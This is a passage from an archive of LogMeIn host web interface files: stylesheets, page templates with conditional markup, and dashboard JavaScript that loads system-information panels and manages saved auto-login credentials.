		box-sizing: border-box;
	<?else?>
		position: absolute;
		text-align: left;
		<?if not LORES?>
			border: 0px solid WindowFrame;
		<?endif?>
		width:100%;
	<?endif?>
}

.subwindow {
	background-color: &COLOR.DlgBack&;
	color: &COLOR.DlgText&;
	border: 1px solid WindowFrame;
	margin: 0px;
	padding: 0px;
	position: absolute;
	text-align: left;
	display: none;
	z-index: 10001;
}

.titleText 
{
	position: relative;
	top: 25px;
}

.titleBar {
	font-family: "Arial", "Verdana";
	background: white;
	font-size: 20px;
	color: black;
	height: 68px;
	width: 100%;
	border-bottom: 1px solid #E6E6E6;
	white-space: nowrap;
	cursor: default;
	overflow: hidden;
}

.titleBarButtons {
	border-style: none;
	border-width: 0px;
	vertical-align: middle;
	width: 50px;
	height: 14px;
}

.clientArea {
	border-width: 0px;
	color: &COLOR.DlgText&;
	font-family: "Verdana", "Arial", "Helvetica", sans-serif;
	font-size: 8pt;
	margin: 0px 0px 0px 0px;
	<?if UITYPE="LMI"?>
		overflow: auto;
		padding: 15px;
	<?else?>
		overflow: auto;
	<?endif?>
	-moz-box-sizing: border-box;
	box-sizing: border-box;
}

.clientAreaLogin {
	background-color: <?if BRAND.LOGMEIN?>#ebf5fe<?else?>&COLOR.DlgBack&<?endif?>;
	border-width: 0px;
	color: &COLOR.DlgText&;
	font-family: "Verdana", "Arial", "Helvetica", sans-serif;
	font-size: 8pt;
	margin: 0px 0px 0px 0px;
	<?if UITYPE="LMI"?>
		overflow: auto;
		padding: 15px;
	<?else?>
		overflow: auto;
	<?endif?>
	-moz-box-sizing: border-box;
	box-sizing: border-box;
}
"~x`css\xtree.css]J<?ratmpl?>
.RA-tree-container {
	margin: 0px;
	padding: 0px;
	white-space: nowrap;
}

.RA-slide-item {
	padding: 0px 0px 0px 0px;
	margin: 0px;
	font: normal 11px arial;
	text-decoration: none;
	white-space: nowrap;
	overflow: hidden;
}

.RA-slide-item A {
	color: white;
}

.RA-slide-item A:hover {
/*	color: #6699ff;*/
	text-decoration: underline;
}

.RA-slide-item img {
	margin: 0px 0px 0px 0px;
}

.RA-slide-root {
	height: 25px;
	color: white;
	white-space: nowrap;
	overflow: hidden;
	/*border-bottom: 1px solid #212740;*/
	background-color: #212740;
	background-repeat: no-repeat;
	font: normal 12px arial;
}

.RA-slide-root A {
	height: 25px;
	color: white;
	overflow: hidden;
	font: normal 12px arial;
}

.slideselected, .slideselected A {
	height: 25px;
	color: white;
	white-space: nowrap;
	overflow: hidden;
	font: normal 12px arial;
}

.RA-slide-icon {
	width: 24px;
	height: 22px;
}

.RA-tree-item {
	padding: 0px;
	margin: 0px;
	font: icon;
	color: &COLOR.MenuText&;
	white-space: nowrap;
}

.RA-tree-item a, .RA-tree-item a:hover, .RA-tree-item a:active {
	margin-left: 3px;
	padding: 1px 2px 1px 2px;
	font-size: 8pt;
}

.RA-tree-item a {
	color: &COLOR.MenuText&;
	text-decoration: none;
}

.RA-tree-item a:hover {
	color: &COLOR.MenuHighText&;
	text-decoration: none;
}

/*.selected {*/
.RA-tree-item a:active {
	background: &COLOR.MenuSelBack&;
	color: &COLOR.MenuSelText&;
	text-decoration: none;
}

.RA-tree-item img {
	vertical-align: middle;
	border: 0px;
}

.RA-tree-icon {
	width: 18px;
	height: 18px;
}o$custom.htmlmu<?ratmpl?>
<?
nocache
include "macros.html"
// if custom page serving is enabled, go to the default custom page
if CFG.CustomPages.Directory
redirect "/custom/"
endif
?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
</head>

<body>

<div class="window">
<div class="titleBar"><?usemacro TITLEICON("custom")?><span class="titleText">&MSG.CONFIG.CUSTPAGES.TITLE&</span></div>
<div id="toolbar" class="buttonBar">
<div class="buttonGroup">
<a href="title.html?favname=%MSG.CONFIG.CUSTPAGES.TITLE%&favicon=menu_custom.png&favargs=%TEMPLATE%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<a href="&TEMPLATE&?%RND%"><img src="img/ico_refresh.gif" border="0" title="&DIALOG.UPDATE&"></a>
</div>
</div>

<center><br>
<table width="90%"><tr><td align=center>
<?if ACTIONS has "-cfgappearance-"?>
<form action="cfgappearance.html" method="get">
&MSG.CONFIG.CUSTPAGES.DISABLED&<br><br>
</td></tr><tr><td align=center>
<input type="submit" value="&DIALOG.CONTINUE&">
</form>
<?else?>
&MSG.CONFIG.CUSTPAGES.DISABLED.NORIGHTSTOCONFIG&<br>
<?endif?>
</td></tr></table><br>
</center>
</div>
</body>
</html>
&customlogo.html<?ratmpl?>
<?if not BRAND.LOGMEIN.FREE?>
<?if not LORES?>
<center>
<div style="position:relative;height:auto;visibility:visible;<?if BRAND.LOGMEIN?> color: white;<?endif?>">
<?if CFG.Appearance.CustomLogo = "1"?>
<br><br>
<img src="/customlogo.jpg?&RND&" border="0">
<?endif?>
<?if CFG.Appearance.CustomMsg?>
<br><br>
&CFG.Appearance.CustomMsg&
<?endif?>
</div>
</center>
<?endif?>
<?endif?>
5edashboard.html4<?ratmpl?>
<?nocache?>
<html>
<head><?include "setupdomain.html"?>
<link type="text/css" rel="stylesheet" href="/css/dashboard.css?ui=%UI%" />
<link type="text/css" rel="stylesheet" href="/css/lmiborgsupport.css" />
<script type="text/javascript" src="/js/prototype.js"></script>
<script type="text/javascript" src="/js/dragdrop.js"></script>
<script type="text/javascript" src="/js/effects2.js"></script>
<script type="text/javascript" src="/js/xmlhttp.js"></script>
<script language="JavaScript">
var configProxyImg;
function setConfig(cfg, value) {
configProxyImg = new Image();
configProxyImg.src = "/dash_setconfig.html?cfg=" + escape(cfg) + "&value=" + escape(value);
}

function setCookie(name, value) {
cookieProxyImg = new Image();
cookieProxyImg.src = "/setcookie.html?name=" + name + "&value=" + value;
}

function StartChat() {
if (! LMIBrowserInfo.IsPluginsSupported() && LMIBrowserInfo.GetPlatform() != kPLATFORM_MAC) {
parent.frames['menu'].TryToStartLogMeInClientApp("04");
} else {
location.replace("chat.html");
}
}
</script>
<?include "tooltip.inc"?>
<?include "macros.html"?>
<?include "passsave.inc"?>
<?include "dashboard.inc"?>
<?if REQ.NEWJOURNAL and actions has "journalcreate"
action "journalcreate"
usemacro WINERRDLG()
endif?>
<?if REQ.PAGE or REQ.SIZE
action "setdashconfig"
endif?>
<?action "getdashconfig"?>
</head>
<body onload="documentLoaded();">
<!-- if user loggin in by autologin we must load autologin infrastructure into autoLoginFrame, if user wants to delete saved password--> 
<? if LOGINMETHOD == "AUTOLOGIN" ?> 
<div style="position:absolute; top:2px; left:2px;">
<!-- Credentials.swf within autoLogin.html needs only 1px, 1px--> 
<iframe frameborder="0" id="autoLoginFrame" name="autoLoginFrame" width="20px" height="20px" scrolling="no" src="autoLogin.html" ></iframe> 
</div>  
<? endif ?>


<div id="window" class="window">
<div class="titleBar" style="padding-bottom: 0px;"><?usemacro TITLEICON("dashboard")?>
<b>&MSG.DASH.TITLE&<?if MSG?> - &MSG.CONFIG.TELNET:MSG&<?endif?></b>
<br /> 
<span style="font: normal 14px tahoma; color: #4A589F;">&MSG.SECREM.CONNECTED&:&nbsp;<?$SRVNAME?></span> 
<br />
<? if LOGINMETHOD == "AUTOLOGIN" ?>
<div style="font: normal 11px tahoma; line-height:16px; vertical-align: middle; margin-top:-1px; margin-bottom:1px;">&MSG.SECREM.VIAAUTOLOGIN& <span style="color: #1020A0;">&USERNAME&</span><a id="autoLoginDeleteLink" style="color: #1020A0;display:none" href="javascript:DeleteLastSavedCredentials();">&nbsp;&nbsp;&nbsp;&MSG.SECREM.DELETESTOREDPWD&</a></div> 
<? else ?>
<div style="font: normal 11px tahoma; line-height:16px; vertical-align: middle; margin-top:-1px; margin-bottom:1px;">&MSG.SECREM.LOGINAS& <span style="color: #1020A0;">&USERNAME&</span></div> 
<? endif ?>
<?if not ISUNIX?>	            
<span style="font: normal 11px tahoma;">
<!-- Start chat -->
<?action "getactiveuser" ?>
<?if ACTIVEUSERNAME = "NONE" ?>							    
&MSG.LOGIN.USERNOTLOGGEDIN&
<?else?>
<?if ACTIVEUSERMEASSUREMENT = "DAYS" ?>
&MSG.LOGIN.USERAWAY& &ACTIVEUSERLASTINPUT& &MSG.ADMIN.SCHEDULE.xdays& <a style="color: #1020A0;" href="javascript: StartChat();">&MSG.MENU.LMISTART.INITIATECHAT& &nbsp;&raquo;</a>
<?elseif ACTIVEUSERMEASSUREMENT = "HOURS" ?>
&MSG.LOGIN.USERAWAY& &ACTIVEUSERLASTINPUT& &MSG.ADMIN.SCHEDULE.xhours& <a style="color: #1020A0;" href="javascript: StartChat();">&MSG.MENU.LMISTART.INITIATECHAT& &nbsp;&raquo;</a>
<?elseif ACTIVEUSERMEASSUREMENT = "MINS" ?>
&MSG.LOGIN.USERAWAY& &ACTIVEUSERLASTINPUT& &MSG.ADMIN.SCHEDULE.xmins& <a style="color: #1020A0;" href="javascript: StartChat();">&MSG.MENU.LMISTART.INITIATECHAT& &nbsp;&raquo;</a>
<?else?>
&MSG.LOGIN.USERBUSY& <a style="color: #1020A0;" href="javascript: StartChat();">&MSG.MENU.LMISTART.INITIATECHAT& &nbsp;&raquo;</a>
<?endif?>					    
<?endif?>    
</span> 
<?endif?> 
</div>

<?include "borgmessages.html"?>

<table cellspacing="5" cellpadding="10" style="max-width: 1000px; width: 99%; width: expression(document.body.clientWidth > 1280 ? '1000px' : '95%'); margin: 0px 5px 0px 5px;">
<tr><td width="50%" valign="top" style="padding-left: 0px">
<div id="dashcontainer1">
<?include DASH1?>
<?include DASH2?>
<?include DASH3?>
<?include DASH4?>
<?include DASH5?>
<?include DASH6?>
<?include DASH7?>
<?include DASH8?>
<?include DASH9?>
<?include DASH10?>
<div id="dashcolumn2end" style="width: 100%; height: 0px; background-color: &COLOR.DlgBack&; z-index: -1;">
<span class="dashtitle"></span>
</div>
</div>
</td></tr>
</table>
</div>
</body>

<script language="JavaScript">

<?if BRAND.LOGMEIN?>
//This callback called after the credentials deleted successfully, we hide the "autoLoginDeleteLink" element and clear value of the "CREDENTIALSAVED"
function OnDeleteLastSavedCredentialsSuccess()
{
var deleteLink = document.getElementById("autoLoginDeleteLink");
if (deleteLink)
{
deleteLink.style.display = "none";
}
setCookie('CREDENTIALSAVED', '0');
}

//We cannot handle errors, but we do not hide "autoLoginDeleteLink" if an error occurred so the user can retry do it
function OnDeleteLastSavedCredentialsFailed() {}

//Delete saved credentials asynchronously
function DeleteLastSavedCredentials()
{   
var message =  "&MSG.SECREM.YOUAREAUTOLOGIN& " +  "$USERNAME$" + "\n" + "&MSG.SECREM.CLEARLOGIN&";
var answer = confirm(message);
if (answer && typeof(autoLoginFrame.DeleteLastSavedCredentials) == "function")
{
autoLoginFrame.DeleteLastSavedCredentials(OnDeleteLastSavedCredentialsSuccess, OnDeleteLastSavedCredentialsFailed);
}
}

SetDomain();
//if we want to call function autoLoginFrame IFrame, we must set document.domain 
//to the same value as in autoLoginFrame
function SetDomain()
{
var hostName = window.location.hostname;
var hostNameParts = hostName.split(".");

if (hostNameParts.length > 1)
{
document.domain = hostNameParts[hostNameParts.length - 2] + "." + hostNameParts[hostNameParts.length - 1];
}
}
//End of code needed for AutoLogin
<?endif // BRAND.LOGMEIN?>

function getMax(n, a) {
var i;
var max = 0;

for (i = 0; i < a.length; i++) {
if (i != n && max < a[i]) max = a[i];
}

return max;
}

function resizeColumnEnds() {
var i;
var divs = document.getElementsByTagName('div');
var maxHeight = 0;
var columnHeight = new Array(2);

for (i = 0; i < divs.length; i++) {
if (divs[i].id.indexOf('dash_') != -1 && divs[i].offsetHeight > maxHeight) maxHeight = divs[i].offsetHeight;
}

for (i = 0; i < 2; i++) {
columnHeight[i] = document.getElementById('dashcontainer' + (i+1)).offsetHeight - document.getElementById('dashcolumn' + (i+1) + 'end').offsetHeight;
}

for(i = 0; i < 2; i++) {					
var columnEnd = document.getElementById('dashcolumn' + (i+1) + 'end');
var endHeight = document.getElementById('window').offsetHeight - columnHeight[i] - 60;

if (endHeight - maxHeight > 50) endHeight = endHeight - maxHeight;
else if (endHeight - 50 > 0) endHeight = 50;
else endHeight = 0;

if (columnHeight[i] + endHeight < getMax(i, columnHeight) - 60) {
endHeight = getMax(i, columnHeight) - columnHeight[i] - 60;
}

columnEnd.style.height = endHeight + 'px';
}
}

window.bFirstTime = true;
function resetOnLoad() {
bFirstTime = false;
var img = _("map0");
img.onload = null;
img.onerror = null;
}

var g_dragDropSortable1;
var g_dragDropSortable2;

window.bAlreadyStarted = false;
function ExecuteClientApp() {
if (!window.bFirstTime || window.bAlreadyStarted) {
return;
}
window.bAlreadyStarted = true;
var view = (-1 < window.location.toString().indexOf("&view=1"));
parent.frames["menu"].StartLogMeInClient("&REQ.STARTCLIENT&", view);
}

function initDragDrop() {
resizeColumnEnds();

if (g_dragDropSortable1) {
g_dragDropSortable1.destroyAll();
}

g_dragDropSortable1 = Sortable.create("dashcontainer1", {
tag:'div',
containment:["dashcontainer1", "dashcontainer2"],
constraint: false,
handle:'dashtitle',
onUpdate: function() {
str = Sortable.serialize('dashcontainer1');
str += 'X';
str += Sortable.serialize('dashcontainer2');
setConfig('layout', str);
resizeColumnEnds();
}
});

if (g_dragDropSortable2) {
g_dragDropSortable2.destroyAll();
}

g_dragDropSortable2 = Sortable.create("dashcontainer2", {
tag:'div',
containment:["dashcontainer1", "dashcontainer2"],
constraint: false,
handle:'dashtitle',
onUpdate: function() {
str = Sortable.serialize('dashcontainer1');
str += 'X';
str += Sortable.serialize('dashcontainer2');
setConfig('layout', str);
resizeColumnEnds();
}
});
}

function startClient() {
// <? if REQ.STARTCLIENT ?>
if (window.bFirstTime && !window.bAlreadyStarted) {
if (typeof(parent.frames['menu'].StartLogMeInClient) == "function") {
var img = document.getElementById("map0");
if (img) {
img.onerror = function () {
ExecuteClientApp();
setTimeout("resetOnLoad()", 10);
}
img.onload = function () {
ExecuteClientApp();
setTimeout("resetOnLoad()", 10);
}
} else {
ExecuteClientApp();
}
}
}
// <? endif ?>
}

function documentLoaded() {
startClient();

loadContent(0);
}

function loadContent(index) {

// This needs to be done every time we're called to
// grab a new XmlHttp object - Firefox is pretty prissy about
// reusing an older object.
initXmlHttp();

// Load the next item in the sequence.	
switch (index) {
case 0:
loadDashItem("dash_events_content.html?size=%EVTLOGSIZE%", "dash_<?if DASHLAYOUT hasbycase "E"?>E<?else?>e<?endif?>_outer", contentArrived, index);
break;
case 1:
loadDashItem("dash_diskdrives_content.html", "dash_<?if DASHLAYOUT hasbycase "D"?>D<?else?>d<?endif?>_outer", contentArrived, index);
break;
case 2:
loadDashItem("dash_process_content.html?size=%PROCLISTSIZE%", "dash_<?if DASHLAYOUT hasbycase "P"?>P<?else?>p<?endif?>_outer", contentArrived, index);
break;
case 3:
loadDashItem("dash_hotfix_content.html?size=%HOTFIXSIZE%", "dash_<?if DASHLAYOUT hasbycase "H"?>H<?else?>h<?endif?>_outer", contentArrived, index);
break;
case 4:
loadDashItem("dash_journal_content.html?size=%JOURNALSIZE%", "dash_<?if DASHLAYOUT hasbycase "J"?>J<?else?>j<?endif?>_outer", contentArrived, index);
break;
case 5:
loadDashItem("dash_recentaccess_content.html", "dash_<?if DASHLAYOUT hasbycase "R"?>R<?else?>r<?endif?>_outer", contentArrived, index);
break;
case 6:
loadDashItem("dash_sched_content.html?size=%TASKLISTSIZE%", "dash_<?if DASHLAYOUT hasbycase "T"?>T<?else?>t<?endif?>_outer", contentArrived, index);
break;
case 7:
loadDashItem("dash_sysinfo_content.html", "dash_<?if DASHLAYOUT hasbycase "S"?>S<?else?>s<?endif?>_outer", contentArrived, index);
break;
case 8:
loadDashItem("dash_netmon_content.html", "dash_<?if DASHLAYOUT hasbycase "N"?>N<?else?>n<?endif?>_outer", contentArrived, index);
break;
default:		
// We're done, loaded all items, all we need to do now is to init drag&drop.
initDragDrop();
break;
}
}

function setupSelectNoDnd(target) {
var items = target.getElementsByTagName('select');
for(var i=0;i<items.length;++i) {
var s=items[i];
if (s && s.addEventListener) {
s.addEventListener("mousedown",function (evt) { evt.stopPropagation(); return true; }, true);
}
break;
}
}
function contentArrived(divid, content, index) {
target = document.getElementById(divid);
if (target) {
target.innerHTML = content;
setupSelectNoDnd(target);
}
if (index >=0)
loadContent(index+1);
else
initDragDrop();
}

var g_dashItemUrl;
var g_dashItemDivid;
var g_configProxyImg2;

function dashItemResize(divid, url, op, newsize) {
g_dashItemDivid = divid + "_outer";
g_dashItemUrl = url + "?size=" + newsize;
g_configProxyImg2 = new Image();
g_configProxyImg2.onload = dashItemOpContinue;
g_configProxyImg2.onerror = dashItemOpContinue;
g_configProxyImg2.src = "dash_setconfig.html?op=" + op + "&size=" + newsize;
}

function dashItemMinMax(id, divid, op, url) {
titleElem = document.getElementById(divid + "_title");
if (titleElem) {
titleElem.innerHTML = "$ADMIN.REGISTRY.LOADING$";
}

// pass the all important id character to action setdashconfig with the right case
var idMinMaxed;
if (op == 'min') idMinMaxed = id.toLowerCase();
else if (op == 'max') idMinMaxed = id.toUpperCase();

g_dashItemDivid = "dash_" + idMinMaxed + "_outer";
// set the new div id with the correct cased ID in the middle
document.getElementById(divid + "_outer").id = g_dashItemDivid;

g_dashItemUrl = url;
g_configProxyImg2 = new Image();
g_configProxyImg2.onload = dashItemOpContinue;
g_configProxyImg2.onerror = dashItemOpContinue;
g_configProxyImg2.src = "dash_setconfig.html?page=" + idMinMaxed + "&op=" + op + "&" + Math.random();
}

function dashItemConfig(id, name, query) {
var _query = query.replace( "#", "%23" );
g_dashItemDivid = id + "_outer";
g_dashItemUrl = "/dash_" + name + "_content.html?" + Math.random();

g_configProxyImg2 = new Image();
g_configProxyImg2.onload = dashItemOpContinue;
g_configProxyImg2.onerror = dashItemOpContinue;
g_configProxyImg2.src = "dash_setconfig.html?type=" + name + "&" + _query + "&" + Math.random();
}

function dashItemOpContinue() {
startClient();

initXmlHttp();
loadDashItem(g_dashItemUrl, g_dashItemDivid, contentArrived, -1);
}

</script>
</html>
p]w4dashboard.inc[	A<?ratmpl?>
<?defmacro DASHCTRL()?>
	<?if DASHLAYOUT hasbycase ID?>
	<?if TODO="support for browsers which can't handle the drag'n'drop stuff"?>
		<a href="dashboard.html?page=&ID&&op=down"><img src="/img/dash_down.gif" width="22" height="19" border="0" alt="&MSG.DASH.DOWN&"></a>
		<a href="dashboard.html?page=&ID&&op=up"><img src="/img/dash_up.gif" width="22" height="19" border="0" alt="&MSG.DASH.UP&"></a>
		<a href="dashboard.html?page=&ID&&op=left"><img src="/img/dash_left.gif" width="22" height="19" border="0" alt="&MSG.DASH.LEFT&"></a>
		<a href="dashboard.html?page=&ID&&op=right"><img src="/img/dash_right.gif" width="22" height="19" border="0" alt="&MSG.DASH.RIGHT&"></a>
	<?endif?>
	<a href="dashboard.html?page=&ID&&op=min"><img src="/img/dash_close_plain.png?bg=%COLOR.TblTtlBack%" width="10" height="10" border="0" alt="&MSG.DASH.MINIMIZE&"></a>
	<?else?>
	<a href="dashboard.html?page=&ID&&op=max"><img src="/img/dash_open_plain.png?bg=%COLOR.TblTtlBack%" width="10" height="10" border="0" alt="&MSG.DASH.MAXIMIZE&"></a>
	<?endif?>
<?endmacro?>

<?defmacro DASHCTRL2()?>
	<?if DASHLAYOUT hasbycase ID?>
		<a href="javascript:dashItemMinMax('$ID$', '$DIVID$', 'min', '$QUERY$');"><img name="$DIVID$_chevron" src="/img/dash_close_plain.png?bg=%COLOR.TblTtlBack%" width="10" height="10" border="0" alt="&MSG.DASH.MINIMIZE&" onmouseover="document.images['$DIVID$_chevron'].src='/img/dash_close_highlight.png?bg=%COLOR.TblTtlBack%';" onmouseout="document.images['$DIVID$_chevron'].src='/img/dash_close_plain.png?bg=%COLOR.TblTtlBack%';"></a>
	<?else?>
		<a href="javascript:dashItemMinMax('$ID$', '$DIVID$', 'max', '$QUERY$');"><img name="$DIVID$_chevron" src="/img/dash_open_plain.png?bg=%COLOR.TblTtlBack%" width="10" height="10" border="0" alt="&MSG.DASH.MAXIMIZE&" onmouseover="document.images['$DIVID$_chevron'].src='/img/dash_open_highlight.png?bg=%COLOR.TblTtlBack%';" onmouseout="document.images['$DIVID$_chevron'].src='/img/dash_open_plain.png?bg=%COLOR.TblTtlBack%';"></a>
	<?endif?>
<?endmacro?>

<?set REQ.DASH="1"?>
<?
	set PBW="40"		// percentbar width
	set PBH="10"		// percentbar height
	set PBCU="#000066"	// percentbar "used" color
	set PBCF="#ffffff"	// percentbar "free" color
	set PBCB="#cccccc"	// percentbar "border" color
	set PA="90"			// percentbar attention threshold
	set PBACU="#990000"	// percentbar attention color
?>
At&dash_columndiv.html8<?ratmpl?>
<!-- column end -->
<div id="dashcolumn1end" style="width: 100%; height: 0px; background-color: &COLOR.DlgBack&; z-index: -1;">
<span class="dashtitle"></span>
</div>
</div>
</td>
<td width="50%" valign="top" style="padding-left: 0px">
<div id="dashcontainer2">d(dash_diskdrives.html_<?ratmpl?>

<div id="dash_<?if DASHLAYOUT hasbycase "D"?>D<?else?>d<?endif?>_outer">
<table class="dashtable" cellspacing="0" cellpadding="3" border="0">
<tr class="dashtitle">
<td>
&ADMIN.REGISTRY.LOADING&
</td>
</tr>
</table>
</div>
%8dash_diskdrives_content.html˭<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<?include "dashboard.inc"?>

<?defmacro DRIVE.TOOLTIP()?>\
<center><b>$DRIVE.NAME$</b></center>\
<?if DRIVE.SIZE?>\
<?if DRIVE.VOLUME?><b>$MSG.DRIVE.VOL$:</b> $DRIVE.VOLUME$<br><?endif?>\
<?if DRIVE.SERIAL?><b>$MSG.DRIVE.SN$:</b> <?$DRIVE.SERIAL_hex8?><br><?endif?>\
<?if DRIVE.FSYS?><b>$MSG.DRIVE.FILESYS$:</b> $DRIVE.FSYS$<br><?endif?>\
<?if DRIVE.ATTR?><b>$MSG.DRIVE.ATTR$:</b><br>\
- $MSG.DRIVE.FLAGS.MAXN$<br>\
<?if DRIVE.ATTR has "P"?>- $MSG.DRIVE.FLAGS.P$<br><?endif?>\
<?if DRIVE.ATTR has "K"?>- $MSG.DRIVE.FLAGS.K$<br><?endif?>\
<?if DRIVE.ATTR has "U"?>- $MSG.DRIVE.FLAGS.U$<br><?endif?>\
<?if DRIVE.ATTR has "A"?>- $MSG.DRIVE.FLAGS.A$<br><?endif?>\
<?if DRIVE.ATTR has "M"?>- $MSG.DRIVE.FLAGS.M$<br><?endif?>\
<?if DRIVE.ATTR has "C"?>- $MSG.DRIVE.FLAGS.C$<br><?endif?>\
<?if DRIVE.ATTR has "E"?>- $MSG.DRIVE.FLAGS.E$<br><?endif?>\
<?if DRIVE.ATTR has "O"?>- $MSG.DRIVE.FLAGS.O$<br><?endif?>\
<?if DRIVE.ATTR has "R"?>- $MSG.DRIVE.FLAGS.R$<br><?endif?>\
<?if DRIVE.ATTR has "S"?>- $MSG.DRIVE.FLAGS.S$<br><?endif?>\
<?if DRIVE.ATTR has "Q"?>- $MSG.DRIVE.FLAGS.Q$<br><?endif?>\
<?endif?>\
<?if DRIVE.PERM?><b>$MSG.DRIVE.PERM$:</b><br>\
<?if DRIVE.PERM has "R"?>- $MSG.ACL.MASK.R$<br><?endif?>\
<?if DRIVE.PERM has "W"?>- $MSG.ACL.MASK.W$<br><?endif?>\
<?if DRIVE.PERM has "X"?>- $MSG.ACL.MASK.X$<br><?endif?>\
<?if DRIVE.PERM has "D"?>- $MSG.ACL.MASK.D$<br><?endif?>\
<?if DRIVE.PERM has "P"?>- $MSG.ACL.MASK.P$<br><?endif?>\
<?if DRIVE.PERM has "O"?>- $MSG.ACL.MASK.O$<br><?endif?>\
<?endif?>\
<?else?>\
<i><?if DRIVE.ERROR?><?$DRIVE.ERROR?><?else?><?$MSG.DRIVE.NODISK?><?endif?></i>\
<?endif?>\
<?endmacro?>

<?set ID="D"?>
<?if DASHLAYOUT hasbycase ID?>
<?set DIVID="dash_D"?>
<?if actions has "-drivelist-"?>
<?set REQ.SCAN = "fixed"?>
<?action "drivelist"?>
<?endif?>
<?else?>
<?set DIVID="dash_d"?>	
<?endif // minimized window?>

<div id="$DIVID$">
<table class="dashtable<?if DASHLAYOUT hasntbycase ID?>_min<?endif?>" cellspacing="0" cellpadding="3" border="0">
<tr class="dashtitle">
<?if actions has "-drivelist-"?>
<td colspan="3" id="$DIVID$_title" nowrap>
<a href="drvinfo.html?%RND%" title="&MSG.DASH.DRIVE.TITLE.TIP&">&MSG.DASH.DRIVE.TITLE&</a>
</td>
<td style="text-align: right; font-weight: normal;" nowrap>
<?usemacro DASHCTRL2()?>
</td>
<?else?>
<td nowrap>&MSG.DASH.DRIVE.TITLE&</td>
<?endif?>
</tr>
<?if DASHLAYOUT hasbycase ID?>
<?if actions has "-drivelist-"?>
<tr align="left">
<th>&MSG.INFO.DRIVE.DRIVE&</th>
<th>&MSG.DRIVE.VSIZE&</th>
<th>&MSG.DRIVE.VFREE&</th>
<th>&MSG.DRIVE.USEDP&</th>
</tr>
<?if DRIVES?>
<?enum DRIVES?>
<?if DRIVE.TYPE="fixed"?>
<tr onmouseover="showTip(event,'$DRIVE.TOOLTIP$',false,'TR'); this.style.backgroundColor='#ffffdd';" onmouseout="this.style.backgroundColor='$COLOR.DlgBack$';" onclick="location.replace('dir.html?dir=$DRIVE.NAME$');" style="cursor: pointer; <?if DRIVE.USEDP > PA?><?set MYCU = PBACU?>color: &PBACU&;<?else?><?set MYCU = PBCU?><?endif?>">
<td class="data" style="text-align: left;"><img src="\img\drive.gif" width="16" height="10">&nbsp;<?&DRIVE.NAME?></td>
<?if DRIVE.SIZE?>
<td class="num" style="text-align: left;"><?&DRIVE.SIZE_szm?></td>
<td class="num" style="text-align: left;"><?&DRIVE.FREE_szm?></td>
<td class="data" style="text-align: left;"><?usemacro PERCENTBARWHC(DRIVE.USEDP,PBW,PBH,MYCU,PBCF,PBCB)?></td>
<?else?>
<td colspan="3" class="data" style="text-align: left;"><i><?if DRIVE.ERROR?><?&DRIVE.ERROR?><?else?><?&MSG.DRIVE.NODISK?><?endif?></i></td>
<?endif?>
</tr>
<?endif?>
<?next?>
<?endif?>
<?else?>
<tr>
<td align="center" class="data">&MSG.DASH.DRIVE.NORIGHT&</td>
</tr>
<?endif?>
<?endif // minimized window?>
</table>
</div>8 dash_events.html<?ratmpl?>

<?if not IS9X?>
<div id="dash_<?if DASHLAYOUT hasbycase "E"?>E<?else?>e<?endif?>_outer">
<table class="dashtable" cellspacing="0" cellpadding="3" border="0">
<tr class="dashtitle">
<td>
&ADMIN.REGISTRY.LOADING&
</td>
</tr>
</table>
</div>
<?endif?>K0dash_events_content.htmlc
<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<?include "dashboard.inc"?>

<?set ID="E"?>
<?if DASHLAYOUT hasbycase ID?>
<?set DIVID="dash_E"?>
<?if actions has "-evtdash-"?>
<?set REQ.EVTLOGSIZE = REQ.SIZE?>
<?action "evtdash"?>
<?endif?>
<?else?>
<?set DIVID="dash_e?>
<?endif?>

<?defmacro EVENTS.TOOLTIP()?>\
<b>$MSG.TYPE$:</b> $EVENT.TYPE$<br>\
<b>$MSG.ADMIN.EVENTS.LOGTYPE$:     </b>$EVENT.LOGTYPE$<br>\
<b>$MSG.ADMIN.EVENTS.ID$:          </b>$EVENT.ID$<br>\
<b>$MSG.ADMIN.EVENTS.SOURCE$:      </b>$EVENT.SOURCE$<br>\
<?if EVENT.USER?><b>$MSG.ADMIN.EVENTS.USER$:</b> $EVENT.USER$<br><?endif?>\
<b>$MSG.ADMIN.EVENTS.GENERATED$:   </b><?$EVENT.TIME_dtms?><br>\
<?if EVENT.CATEGORY?><b>$MSG.ADMIN.EVENTS.CATEGORY$:</b> $EVENT.CATEGORY$<br><?endif?>\
<b>$MSG.ADMIN.EVENTS.MSG$:         </b>$EVENT.MESSAGE$\
<?endmacro?>

<div id="$DIVID$">
<table class="dashtable<?if DASHLAYOUT hasntbycase ID?>_min<?endif?>" cellspacing="0" cellpadding="3" border="0">
<tr class="dashtitle">
<?if actions has "-evtdash-"?>
<td colspan="3" id="$DIVID$_title" nowrap>
<a href="evtlogs.html?%RND%" title="&MSG.DASH.EVT.TITLE.TIP&">&MSG.DASH.EVT.TITLE&</a>&nbsp;
<?if DASHLAYOUT hasbycase ID?>
<select id="evtsize" onchange="dashItemResize('$DIVID$', '$TEMPLATE$', 'evtlogsize', this.options[this.selectedIndex].value);">
<option value="5"  <?selected REQ.EVTLOGSIZE = "5" ?>>&MSG.DASH.TOPN& 5</option>
<option value="10" <?selected REQ.EVTLOGSIZE = "10"?>>&MSG.DASH.TOPN& 10</option>
<option value="15" <?selected REQ.EVTLOGSIZE = "15"?>>&MSG.DASH.TOPN& 15</option>
</select>
&nbsp;<a href="evtfilter.html?back=dashboard.html&%RND%" title="&MSG.DASH.EVT.FILTER.TIP&" style="font-weight: normal">&MSG.DASH.EVT.FILTER&</a>
<?endif?>
</td>
<td style="text-align: right; font-weight: normal;" nowrap>
<?usemacro DASHCTRL2()?>
</td>
<?else?>
<td nowrap>&MSG.DASH.EVT.TITLE&</td>
<?endif?>
</tr>
<?if DASHLAYOUT hasbycase ID?>
<?if actions has "-evtdash-"?>
<tr>
<th>&MSG.TYPE&</th>
<th align="left">&MSG.ADMIN.EVENTS.GENERATED&</th>
<th align="left">&MSG.ADMIN.EVENTS.SOURCE&</th>
<th>&MSG.ADMIN.EVENTS.ID&</th>
</tr>
<?enum EVENTS?>
